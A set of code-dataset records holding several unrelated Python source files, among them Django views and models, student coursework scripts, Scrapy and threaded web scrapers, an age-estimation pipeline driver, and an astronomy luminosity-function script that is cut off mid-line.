status=400)\n else:\n return JsonResponse({'status': 'Subject is valid'}, status=200)\n\n # set new subject for teacher\n elif request.method == 'POST':\n subject_id = request.POST.get('manage_teachers_select')\n\n teacher_subject = TeacherSubjects(subject_id=subject_id,\n teacher_id=teacher_id)\n teacher_subject.save()\n return HttpResponseRedirect(reverse('manage_teachers'))\n\n return render(request, 'director/add_subject_group_form.html', context)\n\n\n@access_control('Завуч')\ndef delete_teacher_subject(request, teacher_subject_id):\n \"\"\"Method for delete teacher's subject.\"\"\"\n\n teacher_subject = TeacherSubjects.objects.get(pk=teacher_subject_id)\n\n # if at least one group is assigned to teacher_subject -\n # return warning message\n teacher_subject_groups = TeacherSubjectGroups.objects.filter(\n teacher_subject_id=teacher_subject_id)\n removable_error = False\n if len(teacher_subject_groups) >= 1:\n removable_error = True\n\n context = {'teacher_subject': teacher_subject,\n 'removable_error': removable_error}\n\n if request.method == 'POST':\n teacher_subject.delete()\n return HttpResponseRedirect(reverse('manage_teachers'))\n\n return render(request, 'director/confirm_delete.html', context)\n\n\n@access_control('Завуч')\ndef add_teacher_subject_group(request, teacher_subject_id):\n \"\"\"Method for assign new group for teacher_subject.\"\"\"\n\n # get current user's data\n director = Teachers.objects.get(pk=request.session.get('teacher_id'))\n\n current_teacher_subject = TeacherSubjects.objects.get(\n pk=teacher_subject_id)\n groups = Groups.objects.filter(school_id=director.school.id)\n\n context = {'list': groups,\n 'teacher_subject': current_teacher_subject}\n\n # ajax checking of group valid\n if request.is_ajax() and request.method == 'POST':\n ajax_group_id = request.POST.get('value')\n teacher_subject_groups = TeacherSubjectGroups.objects.filter(\n teacher_subject_id=teacher_subject_id, group_id=ajax_group_id)\n if len(teacher_subject_groups) > 0:\n return JsonResponse({'status': 'Teacher has the same group \\\n for this subject'}, status=400)\n else:\n return JsonResponse({'status': 'Group is valid'}, status=200)\n\n # set new subject_group for teacher\n elif request.method == 'POST':\n group_id = request.POST.get('manage_teachers_select')\n\n teacher_subject_group = TeacherSubjectGroups(group_id=group_id,\n teacher_subject_id=teacher_subject_id)\n teacher_subject_group.save()\n return HttpResponseRedirect(reverse('manage_teachers'))\n\n return render(request, 'director/add_subject_group_form.html', context)\n\n\n@access_control('Завуч')\ndef delete_teacher_subject_group(request, teacher_subject_group_id):\n \"\"\"Method for delete teacher's subject_group.\"\"\"\n\n teacher_subject_group = TeacherSubjectGroups.objects.get(\n pk=teacher_subject_group_id)\n\n context = {'teacher_subject_group': teacher_subject_group}\n\n if request.method == 'POST':\n teacher_subject_group.delete()\n return HttpResponseRedirect(reverse('manage_teachers'))\n\n return render(request, 'director/confirm_delete.html', context)\n","sub_path":"SMS/apps/director/views/teachers.py","file_name":"teachers.py","file_ext":"py","file_size_in_byte":6117,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"82987007","text":"#!/usr/bin/env python3\n\n# Russell Felts\n# Assignment 5 - Unit Tests\n\n\"\"\" Unit tests \"\"\"\n\nfrom unittest import TestCase\nimport logging\nimport database\n\nlogging.basicConfig(level=logging.INFO)\nLOGGER = logging.getLogger(__name__)\n\n\nclass DatabaseUnitTest(TestCase):\n \"\"\" Unit tests for the database class \"\"\"\n\n def test_import_data(self):\n \"\"\" Unit test for the import_data function \"\"\"\n database.drop_all_collections()\n record_total, error_total = database.import_data(\"../csv_files\",\n \"products.csv\",\n \"customers.csv\",\n \"rentals.csv\")\n self.assertEqual((5, 4, 5), record_total)\n self.assertEqual((0, 0, 0), error_total)\n\n def test_import_data_errors(self):\n \"\"\" Unit test for the error count of the import_data function \"\"\"\n database.drop_all_collections()\n record_total, error_total = database.import_data(\"csv_files\",\n \"products.csv\",\n \"customers.csv\",\n \"rentals.csv\")\n self.assertEqual((0, 0, 0), record_total)\n self.assertEqual((1, 1, 1), error_total)\n\n def test_show_available_products(self):\n \"\"\" Unit test for the show_available_products function \"\"\"\n expected_result = {'001': {'available': '25',\n 'description': 'Mafex Justice League Superman',\n 'type': '6 inch Action Figure'},\n '002': {'available': '12',\n 'description': 'One 12 Justice League Tactical Suit Batman',\n 'type': '6 inch Action Figure'},\n '003': {'available': '1',\n 'description': 'S.H. Figuarts Iron Man Mark LXXXV',\n 'type': '6 inch Action Figure'},\n '004': {'available': '15',\n 'description': 'Black Series Stormtrooper',\n 'type': '6 inch Action Figure'}}\n database.drop_all_collections()\n database.import_data(\"../csv_files\", \"products.csv\", \"customers.csv\", \"rentals.csv\")\n self.assertDictEqual(expected_result, database.show_available_products())\n\n def test_show_rentals(self):\n \"\"\" Unit test for the show_rentals function \"\"\"\n expected_result = {\"001\": {\"id\": \"001\", \"first_name\": \"Bruce\", \"last_name\": \"Wayne\",\n \"address\": \"1007 Mountain Drive Gotham\",\n \"phone_number\": \"228-626-7699\", \"email\": \"b_wayne@gotham.net\"},\n \"003\": {\"id\": \"003\", \"first_name\": \"Tony\", \"last_name\": \"Stark\",\n \"address\": \"10880 Malibu Point\",\n \"phone_number\": \"4766626769\", \"email\": \"tony@starkinc.com\"}}\n database.drop_all_collections()\n database.import_data(\"../csv_files\", \"products.csv\", \"customers.csv\", \"rentals.csv\")\n self.assertDictEqual(expected_result, database.show_rentals(\"005\"))\n","sub_path":"students/rfelts/lesson05/assignment/tests/test_unit.py","file_name":"test_unit.py","file_ext":"py","file_size_in_byte":3353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"537212163","text":"#Note: for some reason, my average change is much greater than the example.\r\n #I think it is because there is something that gives it a different value when I defined it\r\n #However, everything else is the same\r\n\r\n #Below is my output (matches with terminal and .txt file)\r\n \r\n #Financial Analysis\r\n #---------------------------------------\r\n #Total Months: 86\r\n #Total: $38382578.0\r\n #Average Change: $671099.0\r\n #Greatest Increase in Profits: Feb-2012 $1926159.0\r\n #Greatest Decrease in Profits: Sep-2013 $-2196167.0\r\n\r\nimport os\r\nimport csv\r\n\r\n#Read/open csv\r\nwith open('PyBank_budget_data.csv') as csvfile:\r\n csvreader = csv.reader(csvfile, delimiter = ',')\r\n csvheader = next(csvreader)\r\n\r\n #Declare/initialize variables\r\n totalFinances = 0\r\n profitLossDiff = 0\r\n lastProfitLossDiff = 0\r\n greatestInc = 0\r\n greatestIncMonth = \" \"\r\n greatestDec = 0\r\n greatestDecMonth = \" \"\r\n averageFinChange = []\r\n rowCounter = 0 #counts each row in the csv\r\n\r\n #Loop through csv\r\n for row in csvreader:\r\n rowCounter = rowCounter + 1\r\n totalFinances += float(row[1])\r\n profitLossDiff = float(row[1]) - lastProfitLossDiff\r\n lastProfitLossDiff = float(row[1])\r\n\r\n if profitLossDiff > greatestInc:\r\n greatestInc = profitLossDiff\r\n greatestIncMonth = row[0]\r\n\r\n if profitLossDiff < greatestDec:\r\n greatestDec = profitLossDiff\r\n greatestDecMonth = row[0]\r\n \r\n averageFinChange.append(int(row[1]))\r\n\r\naverageChange = sum(averageFinChange) / len(averageFinChange)\r\n\r\n#Print the finanial analysis\r\n\r\n#Answer Key from Gitlab\r\n#Financial Analysis\r\n#----------------------------\r\n#Total Months: 86\r\n#Total: $38382578\r\n#Average Change: $-2315.12\r\n#Greatest Increase in Profits: Feb-2012 ($1926159)\r\n#Greatest Decrease in Profits: Sep-2013 ($-2196167)\r\n\r\n\r\n##https://stackoverflow.com/questions/7469301/format-int-as-int-but-float-as-3f/7469480 <-- floats\r\n#Print election results\r\nprint(\" \")\r\nprint(f\"Financial Analysis\")\r\nprint(f\"---------------------------------------\")\r\nprint(f\"Total Months: {rowCounter}\")\r\nprint(f\"Total: ${totalFinances}\")\r\nprint(f\"Average Change: ${averageChange}\")\r\nprint(f\"Greatest Increase in Profits: {greatestIncMonth} ${greatestInc}\")\r\nprint(f\"Greatest Decrease in Profits: {greatestDecMonth} ${greatestDec}\")\r\nprint(\" \")\r\n\r\n#Write to a text file: \r\n#https://www.pythonforbeginners.com/files/reading-and-writing-files-in-python\r\n#https://www.geeksforgeeks.org/reading-writing-text-files-python/ <-- End of Line command /n\r\n\r\nfile = open(\"PyBank.txt\", 'w')\r\n\r\nfile.write(\" \\n\")\r\nfile.write(f\"Financial Analysis \\n\")\r\nfile.write(f\"---------------------------------- \\n\")\r\nfile.write(f\"Total Months: {rowCounter} \\n\")\r\nfile.write(f\"Total: ${totalFinances} \\n\")\r\nfile.write(f\"Average Change: {averageChange} \\n\")\r\nfile.write(f\"Greatest Increase in Profits: {greatestIncMonth} ${greatestInc} \\n\")\r\nfile.write(f\"Greatest Decrease in Profits: {greatestDecMonth} ${greatestDec} \\n\")\r\nfile.write(\" \\n\")\r\n\r\nfile.close()\r\n#\r\n","sub_path":"PyBank/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"637768472","text":"from modules.System import *\nfrom modules.Subsystem import *\n\ncell = System('cell')\nIFFL = cell.createSubsystem('models/IFFL.xml','1')\nIFFL.setFastReactions(1)\nwriteSBML(IFFL.getSubsystemDoc(),'models/IFFLfast.xml')\ntimepointsFast = np.linspace(0,10000,10)\nIFFLreduced = IFFL.modelReduce(timepointsFast)\nwriteSBML(IFFLreduced.getSubsystemDoc(),'models/IFFLreduced.xml')\ntimepoints = np.linspace(0,10,1000)\nplotSbmlWithBioscrape(['models/IFFLfast.xml','models/IFFLreduced.xml'],0,timepoints,[['inp_IFFL','out_IFFL'],['inp_IFFL','out_IFFL']])\n\n","sub_path":"BioSIMI-Python/IFFL_model_reduce.py","file_name":"IFFL_model_reduce.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"80677575","text":"import threading\nfrom queue import Queue\nfrom jx_req import *\n\n\ndef start(time_map, q):\n for i in range(1, 7):\n url = 'http://www.jiangxi.gov.cn/module/xxgk/search.jsp?texttype=0&fbtime=-1&vc_all=%E6%8A%BD%E6%A3%80&currpage={}&sortfield=compaltedate:0'.format(i)\n print(url)\n page_data = base_req(url, type='post', post_data={\"page_num\": i})\n html_tree = load_html(page_data)\n page_list = get_page_url(html_tree, time_map)\n for item in page_list:\n q.put(item)\n\n\ndef consumer(q):\n while True:\n if q.empty():\n time.sleep(1)\n data = q.get()\n page_url = data.get(\"page_url\")\n page_time = data.get(\"page_time\")\n down_data = page_detail(page_url, page_time)\n for item in down_data:\n url = item.get(\"url\")\n file_name = item.get(\"name\")\n print(down_data)\n down_file(url, save_dir, file_name)\n\n\nif __name__ == '__main__':\n q_link = Queue()\n save_dir = r'F:\\PingAn_data\\Food\\jiangxi\\0619'\n time_end = ''\n th_num = 4\n th = threading.Thread(target=start, args=(time_end, q_link))\n th.start()\n time.sleep(10)\n for _ in range(th_num):\n th = threading.Thread(target=consumer, args=(q_link, ))\n th.start()\n","sub_path":"Food/jiangxi/thread_jx.py","file_name":"thread_jx.py","file_ext":"py","file_size_in_byte":1284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"395383971","text":"#!/usr/bin/python\n\n# Executes apparent age estimation by general CNNs.\n#\n# Copyright Orange (C) 2016. All rights reserved.\n# G. Antipov, M. Baccouche and S. A. Berrani.\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n\nimport os\nimport numpy as np\nimport argparse\nimport time\nimport datetime\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-pf', action = 'store', dest='pointers_file', required=True, help='File with pointers to test images.')\nparser.add_argument('-in', action = 'store', dest='image_names', required=True, help='Image names to appear in the output file.')\nparser.add_argument('-w', action = 'store', dest='models_file', required=True, help='File containing the list of all models.')\nparser.add_argument('-rf', action = 'store', dest='resulting_file', required=True, help='File with resulting predictions.')\nparser.add_argument('-lf', action = 'store', dest='log_file', required=True, help='File with logs of all actions.')\n\ncommand_args = parser.parse_args()\nwith open(command_args.models_file, 'r') as models_file:\n\tlist_of_models = map(lambda x: x.split('\\n')[0], models_file)\n\nDoMerge = True\nRemoveAllTemps = True\n\nwith open(command_args.log_file, 'a') as log_file:\n\tts = time.time()\n\tst = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d %H:%M:%S')\n\tlog_file.write(st + ': temporary image files are going to be created...\\n')\n\tos.system('./create_multiple_copies_of_images.py -pf ' + command_args.pointers_file)\n\tts = time.time()\n\tst = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d %H:%M:%S')\n\tlog_file.write(st + ': temporary image files have been created...\\n')\n\n\tfor model_ind in range(len(list_of_models)):\n\t\tts = time.time()\n\t\tst = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d %H:%M:%S')\n\t\tlog_file.write(st + ': age estimations by the model ' + list_of_models[model_ind] + ' are going to be done ...\\n')\n\t\tos.system('./evaluate_competition.py -w ' + list_of_models[model_ind] + ' -td temp_original.txt -il ' + command_args.image_names + ' -rf temp_out_original.txt -prob temp_prob_original.txt')\n\t\tif DoMerge:\n\t\t\tos.system('./evaluate_competition.py -w ' + list_of_models[model_ind] + ' -td temp_mir.txt -il ' + command_args.image_names + ' -rf temp_out_mir.txt -prob temp_prob_mir.txt')\n\t\t\tos.system('./evaluate_competition.py -w ' + list_of_models[model_ind] + ' -td temp_rot+.txt -il ' + command_args.image_names + ' -rf temp_out_rot+.txt -prob temp_prob_rot+.txt')\n\t\t\tos.system('./evaluate_competition.py -w ' + list_of_models[model_ind] + ' -td temp_rot-.txt -il ' + command_args.image_names + ' -rf temp_out_rot-.txt -prob temp_prob_rot-.txt')\n\t\t\tos.system('./evaluate_competition.py -w ' + list_of_models[model_ind] + ' -td temp_shift+.txt -il ' + command_args.image_names + ' -rf temp_out_shift+.txt -prob temp_prob_shift+.txt')\n\t\t\tos.system('./evaluate_competition.py -w ' + list_of_models[model_ind] + ' -td temp_shift-.txt -il ' + command_args.image_names + ' -rf temp_out_shift-.txt -prob temp_prob_shift-.txt')\n\t\t\tos.system('./evaluate_competition.py -w ' + list_of_models[model_ind] + ' -td temp_sc+.txt -il ' + command_args.image_names + ' -rf temp_out_sc+.txt -prob temp_prob_sc+.txt')\n\t\t\tos.system('./evaluate_competition.py -w ' + list_of_models[model_ind] + ' -td temp_sc-.txt -il ' + command_args.image_names + ' -rf temp_out_sc-.txt -prob temp_prob_sc-.txt')\n\t\t\tos.system('./merge_multiple_predictions.py -lpf \\'temp_prob_original.txt temp_prob_mir.txt\\' -il ' + command_args.image_names + ' -rf temp_unused_1.txt -rp temp_probs_1.txt')\n\t\t\tos.system('./merge_multiple_predictions.py -lpf \\'temp_prob_rot+.txt temp_prob_rot-.txt\\' -il ' + command_args.image_names + ' -rf temp_unused_2.txt -rp temp_probs_2.txt')\n\t\t\tos.system('./merge_multiple_predictions.py -lpf \\'temp_prob_shift+.txt temp_prob_shift-.txt\\' -il ' + command_args.image_names + ' -rf temp_unused_3.txt -rp temp_probs_3.txt')\n\t\t\tos.system('./merge_multiple_predictions.py -lpf \\'temp_prob_sc+.txt temp_prob_sc-.txt\\' -il ' + command_args.image_names + ' -rf temp_unused_4.txt -rp temp_probs_4.txt')\n\t\t\tos.system('./merge_multiple_predictions.py -lpf \\'temp_probs_2.txt temp_probs_3.txt temp_probs_4.txt\\' -il ' + command_args.image_names + ' -rf temp_unused_5.txt -rp temp_probs_5.txt')\n\t\t\tos.system('./merge_multiple_predictions.py -lpf \\'temp_probs_1.txt temp_probs_5.txt\\' -il ' + command_args.image_names + ' -addlog=1 -rf result_model_' + str(model_ind + 1) + '.txt -rp probs_model_' + str(model_ind + 1) + '.txt')\n\t\tts = time.time()\n\t\tst = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d %H:%M:%S')\n\t\tlog_file.write(st + ': age estimations by the model ' + list_of_models[model_ind] + ' have been done ...\\n')\n\n\tos.system('rm -r TEMP')\n\tif RemoveAllTemps:\n\t\tos.system('rm temp_*.txt')\n\n\tif DoMerge:\n\t\tos.system('./merge_multiple_predictions.py -lpf \\'probs_model_1.txt probs_model_2.txt probs_model_3.txt probs_model_4.txt probs_model_5.txt probs_model_6.txt probs_model_7.txt probs_model_8.txt probs_model_9.txt probs_model_10.txt probs_model_11.txt\\' -il ' + command_args.image_names + ' -rf ' + command_args.resulting_file + ' -rp temp_unused.txt')\n\tos.system('rm temp_unused.txt')\n\n","sub_path":"src/utils/apparent_age_estimator/AAE_CVPR2016_OrangeLabs/General_age_estimation/PREDICT_AGE_FINAL.py","file_name":"PREDICT_AGE_FINAL.py","file_ext":"py","file_size_in_byte":5773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"1743546","text":"# -*- coding: utf-8 -*-\nfrom urllib.parse import quote\nfrom urllib.request import urlopen\n\nimport scrapy\nfrom lxml import etree\nfrom scrapy import Request\nfrom Crawl51job.items import Crawl51JobItem\nfrom Crawl51job.settings import CITY, JOB_NAME\nfrom Crawl51job.spiders import city_code\n\n\nclass C51jobSpider(scrapy.Spider):\n name = \"c51job\"\n allowed_domains = [\"51job.com\"]\n citycode = city_code.get_citycode(CITY)\n if citycode != -1:\n base_url = 'https://search.51job.com/list/{citycode},000000,0000,00,9,99,'.format(citycode=citycode)\n else:\n base_url = 'https://search.51job.com/list/{citycode},000000,0000,00,9,99,'.format(citycode='040000')\n\n job = quote(quote(JOB_NAME)) + ',2,'\n bashurl = '.html'\n\n def start_requests(self):\n page_num = self.get_total_pages()\n for i in range(2, page_num + 1):\n url = self.base_url + self.job + str(i) + self.bashurl\n yield scrapy.Request(url, callback=self.parse)\n\n def get_total_pages(self):\n start_url = self.base_url + self.job + str(1) + self.bashurl\n resp = urlopen(start_url)\n selector = etree.HTML(resp.read().decode('gbk'))\n info = selector.xpath('//span[@class=\"td\"]/text()')[0]\n total_page = info[1:-4]\n Request(start_url, callback=self.parse)\n return int(total_page)\n\n def parse(self, response):\n selector = etree.HTML(response.text)\n job_url_lists = selector.xpath('//*[@id=\"resultList\"]/div/p/span/a/@href')\n for job_url in job_url_lists:\n yield Request(job_url, self.fetch_job_info)\n\n def fetch_job_info(self, response):\n item = Crawl51JobItem()\n selector = etree.HTML(response.text)\n item['company_name'] = selector.xpath('//p[@class=\"cname\"]/a/text()')\n item['location'] = selector.xpath('//div[@class=\"bmsg inbox\"]/p/text()')[1]\n item['benefits'] = selector.xpath('//p[@class=\"t2\"]/span/text()')\n item['pay'] = selector.xpath('//div[@class=\"cn\"]/strong/text()')\n item['company_info'] = selector.xpath('//p[@class=\"msg ltype\"]/text()')\n item['job_info'] = selector.xpath('//div[contains(@class,\"job_msg\")]/p/text()')\n item['job_name'] = selector.xpath('//h1/text()')\n item['job_url'] = response.url\n item['job_tag'] = selector.xpath('//div[@class=\"t1\"]/span/text()')\n yield item\n","sub_path":"code/Analysis/Crawl51job/Crawl51job/spiders/c51job.py","file_name":"c51job.py","file_ext":"py","file_size_in_byte":2384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"633368336","text":"#########################################################################\n#\n# Copyright 2018, GeoSolutions Sas.\n# All rights reserved.\n#\n# This source code is licensed under the BSD-style license found in the\n# LICENSE file in the root directory of this source tree.\n#\n#########################################################################\n\nfrom django.conf import settings\nfrom django.contrib.auth.models import AbstractUser\nfrom django.core.validators import RegexValidator\nfrom django.db import models\nfrom django.urls import reverse\nfrom django.utils.translation import gettext_lazy as _\n\n\n# TODO: do we need to add the `status` attribute?\nclass SmbUser(AbstractUser):\n \"\"\"Default user model for smb-portal.\n\n This model's schema cannot be changed at-will since the underlying DB table\n is shared with other smb apps\n\n \"\"\"\n\n nickname = models.CharField(\n _(\"nickname\"),\n max_length=100,\n blank=True,\n )\n language_preference = models.CharField(\n _(\"language preference\"),\n max_length=20,\n choices=((k, v) for k, v in settings.LANGUAGES),\n default=\"en\",\n )\n\n @property\n def profile(self):\n attibute_names = (\n \"enduserprofile\",\n \"privilegeduserprofile\",\n # add more profiles for analysts, prize managers, etc\n )\n for attr in attibute_names:\n try:\n profile = getattr(self, attr)\n break\n except AttributeError:\n pass\n else:\n profile = None\n return profile\n\n def get_absolute_url(self):\n return reverse(\"profile:update\")\n\n\n# TODO: Integrate data sharing policies\nclass EndUserProfile(models.Model):\n MALE_GENDER = \"male\"\n FEMALE_GENDER = \"female\"\n\n AGE_YOUNGER_THAN_NINETEEN = \"< 19\"\n AGE_BETWEEN_NINETEEN_AND_THIRTY = \"19 - 30\"\n AGE_BETWEEN_THIRTY_AND_SIXTY_FIVE = \"30 - 65\"\n AGE_OLDER_THAN_SIXTY_FIVE = \"65+\"\n\n user = models.OneToOneField(\n settings.AUTH_USER_MODEL,\n on_delete=models.CASCADE,\n verbose_name=_(\"user\")\n )\n date_updated = models.DateTimeField(\n _(\"date updated\"),\n auto_now=True\n )\n gender = models.CharField(\n _(\"gender\"),\n max_length=20,\n blank=False,\n choices=(\n (FEMALE_GENDER, _(\"female\")),\n (MALE_GENDER, _(\"male\")),\n ),\n default=FEMALE_GENDER,\n )\n age = models.CharField(\n _(\"age\"),\n max_length=20,\n blank=False,\n choices=(\n (AGE_YOUNGER_THAN_NINETEEN, _(\"< 19\")),\n (AGE_BETWEEN_NINETEEN_AND_THIRTY, _(\"19 - 30\")),\n (AGE_BETWEEN_THIRTY_AND_SIXTY_FIVE, _(\"30 - 65\")),\n (AGE_OLDER_THAN_SIXTY_FIVE, _(\"65+\")),\n ),\n default=AGE_BETWEEN_NINETEEN_AND_THIRTY\n )\n PHONE_NUMBER_REGEX_VALIDATOR = RegexValidator(\n r\"^\\+\\d{8,15}$\",\n message=\"Use the format +99999999. From 8 to 15 digits allowed\"\n )\n phone_number = models.CharField(\n _(\"phone number\"),\n max_length=16,\n blank=True,\n validators=[PHONE_NUMBER_REGEX_VALIDATOR]\n )\n bio = models.TextField(\n _(\"bio\"),\n help_text=_(\"Short user biography\"),\n blank=True\n )\n\n def get_absolute_url(self):\n return self.user.get_absolute_url()\n\n\nclass PrivilegedUserProfile(models.Model):\n user = models.OneToOneField(\n settings.AUTH_USER_MODEL,\n on_delete=models.CASCADE,\n verbose_name=_(\"user\")\n )\n\n def get_absolute_url(self):\n return self.user.get_absolute_url()\n\n\nclass MobilityHabitsSurvey(models.Model):\n FREQUENT_PUBLIC_TRANSPORT_USER = \"frequent\"\n OCCASIONAL_PUBLIC_TRANSPORT_USER = \"occasional\"\n RARE_PUBLIC_TRANSPORT_USER = \"rare\"\n NOT_A_PUBLIC_TRANSPORT_USER = \"never\"\n\n FREQUENT_BICYCLE_USER = \"frequent\"\n OCCASIONAL_BICYCLE_USER = \"occasional\"\n SEASONAL_BICYCLE_USER = \"seasonal\"\n RARE_BICYCLE_USER = \"rare\"\n NOT_A_BICYCLE_USER = \"never\"\n\n end_user = models.ForeignKey(\n \"EndUserProfile\",\n on_delete=models.CASCADE,\n blank=True,\n null=True,\n related_name=\"mobility_habits_surveys\",\n verbose_name=_(\"end user\")\n )\n date_answered = models.DateTimeField(\n _(\"date answered\"),\n auto_now_add=True\n )\n public_transport_usage = models.CharField(\n _(\"public transport usage\"),\n max_length=100,\n choices=(\n (\n FREQUENT_PUBLIC_TRANSPORT_USER,\n _(\"Habitual (more than 10 travels per month)\")\n ),\n (\n OCCASIONAL_PUBLIC_TRANSPORT_USER,\n _(\"Occasional (once per month)\")\n ),\n (\n RARE_PUBLIC_TRANSPORT_USER,\n _(\"Rare (less than 10 travels per year)\")\n ),\n (\n NOT_A_PUBLIC_TRANSPORT_USER,\n _(\"Never\")\n ),\n ),\n default=RARE_PUBLIC_TRANSPORT_USER,\n )\n uses_bike_sharing_services = models.BooleanField(\n _(\"uses bike sharing services\"),\n default=False\n )\n uses_electrical_car_sharing_services = models.BooleanField(\n _(\"uses electrical car sharing services\"),\n default=False\n )\n uses_fuel_car_sharing_services = models.BooleanField(\n _(\"uses fuel car sharing services\"),\n default=False\n )\n bicycle_usage = models.CharField(\n _(\"bicycle usage\"),\n max_length=100,\n choices=(\n (\n FREQUENT_BICYCLE_USER,\n _(\"Habitual (at least once a week on average)\")\n ),\n (\n OCCASIONAL_BICYCLE_USER,\n _(\"Habitual (at least once a month)\")\n ),\n (\n SEASONAL_BICYCLE_USER,\n _(\"Seasonal (mainly used in the Summer)\")\n ),\n (\n RARE_BICYCLE_USER,\n _(\"Rare (less than once a month)\")\n ),\n (\n NOT_A_BICYCLE_USER,\n _(\"Never use a bicycle to move around in the city\")\n ),\n ),\n default=RARE_BICYCLE_USER,\n )\n\n def get_absolute_url(self):\n return reverse(\"profile:survey\", kwargs={\"pk\": self.pk})\n","sub_path":"smbportal/profiles/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":6322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"474545046","text":"# -*- coding: utf-8 -*-\nimport sys\nimport numpy as np\nimport astropy as ap\nimport matplotlib.pyplot as plt\nimport math as m\nimport argparse\nfrom astropy.cosmology import FlatLambdaCDM\nfrom matplotlib.backends.backend_pdf import PdfPages\nimport kcorrect\nimport kcorrect.utils as ut\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"filein\",help=\"File containing magnitudes and redshifts\")\nparser.add_argument(\"-m\",\"--mbin\",type=int,help=\"Number of Absolute Magnitude bins. Default=19\",default=18)\nparser.add_argument(\"-p\",\"--zmin\",type=float,help=\"Minimum redshift to consider in luminosity function, default=0.5\", default=0.35)\nparser.add_argument(\"-q\",\"--zmax\",type=float,help=\"Maximum redshift to consider in luminosity function, default=1.3\", default=0.55)\nparser.add_argument(\"-r\",\"--Mmin\",type=float,help=\"Minimum redshift to consider in luminosity function, default=--26.7\", default=-24)\nparser.add_argument(\"-s\",\"--Mmax\",type=float,help=\"Minimum redshift to consider in luminosity function, default=-18.5\", default=-15)\nparser.add_argument(\"-ama\",\"--appmax\",type=float,help='Maximum apparent magnitude to consider part of the survey COSMOS im<22.5',default=22.5)\nparser.add_argument(\"-ami\",\"--appmin\",type=float,help='Minimum apparent magnitude to consider part of the survey COSMOS im>15',default=15)\nparser.add_argument(\"-om\",\"--OmegaMatter\",type=float,help=\"Omega Matter, if you want to define your own cosmology\", default=0.286)\nparser.add_argument(\"-ho\",\"--HubbleConstant\",type=float,help=\"Hubble Constant if you want to define your own cosmology\",default=69.3)\nparser.add_argument(\"-ps\",\"--phistar\",type=float,help=\"Phi* value for input Schechter Function\",default=0.00715)\nparser.add_argument(\"-ms\",\"--mstar\",type=float,help=\"M* value for input Schechter Fucntion\",default=-21.17)\nparser.add_argument(\"-al\",\"--schalpha\",type=float,help=\"alpha value for input Schechter Function\",default=-1.03)\nparser.add_argument(\"-fo\",\"--fileout\",help=\"Filename of PDF you want to generate\",default='_LF_OUTPUT_VAL.txt')\nparser.add_argument(\"-kc\",\"--printk\",action=\"store_true\",help='Prints k-correction for z=0.1-0.35')\nargs=parser.parse_args()\n\ncosmo=FlatLambdaCDM(H0=args.HubbleConstant,Om0=args.OmegaMatter)\nprint('Reading File')\n\nID,RA,DECL,SGCLASS,u,uerr,b,berr,v,verr,r,rerr,im,ierr,z,zerr,kUV,kUVerr,zbests,zuses,zgens,zphots=np.loadtxt(args.filein,unpack=True)\n\nprint(args.appmax,args.appmin)\nMdif=float(args.Mmax-args.Mmin)\nMbinsize=Mdif/args.mbin\t\t\t\t#Creates bin size based on input for number of bins\ni=0\t\t\t\t\t\t#Variable used in for loop\nprint(np.where((im>15))[0])\nTSR=float(len(np.where((zuses>0)&(SGCLASS==0)&(imargs.appmin))[0]))/float(len(np.where((zuses<=3)&(SGCLASS==0)&(imargs.appmin))[0]))\n\nprint(TSR)\nprint('Only selecting source in redshift range')\nIDs=np.round(ID[np.where((zuses<=3)&(imargs.appmin)&(SGCLASS==0))[0]],4)\nRAs=np.round(RA[np.where((zuses<=3)&(imargs.appmin)&(SGCLASS==0))[0]],4)\nDECLs=np.round(DECL[np.where((zuses<=3)&(imargs.appmin)&(SGCLASS==0))[0]],4)\nSGCLASSs=np.round(SGCLASS[np.where((zuses<=3)&(imargs.appmin)&(SGCLASS==0))[0]],4)\numag=np.round(u[np.where((zuses<=3)&(imargs.appmin)&(SGCLASS==0))[0]],4)\nuerrs=np.round(uerr[np.where((zuses<=3)&(imargs.appmin)&(SGCLASS==0))[0]],4)\nbmag=np.round(b[np.where((zuses<=3)&(imargs.appmin)&(SGCLASS==0))[0]],4)\nberrs=np.round(berr[np.where((zuses<=3)&(imargs.appmin)&(SGCLASS==0))[0]],4)\nvmag=np.round(v[np.where((zuses<=3)&(imargs.appmin)&(SGCLASS==0))[0]],4)\nverrs=np.round(verr[np.where((zuses<=3)&(imargs.appmin)&(SGCLASS==0))[0]],4)\nrmag=np.round(r[np.where((zuses<=3)&(imargs.appmin)&(SGCLASS==0))[0]],4)\nrerrs=np.round(rerr[np.where((zuses<=3)&(imargs.appmin)&(SGCLASS==0))[0]],4)\nimag=np.round(im[np.where((zuses<=3)&(imargs.appmin)&(SGCLASS==0))[0]],4)\nierrs=np.round(ierr[np.where((zuses<=3)&(imargs.appmin)&(SGCLASS==0))[0]],4)\nzmag=np.round(z[np.where((zuses<=3)&(imargs.appmin)&(SGCLASS==0))[0]],4)\nzerrs=np.round(zerr[np.where((zuses<=3)&(imargs.appmin)&(SGCLASS==0))[0]],4)\nkUVmag=np.round(k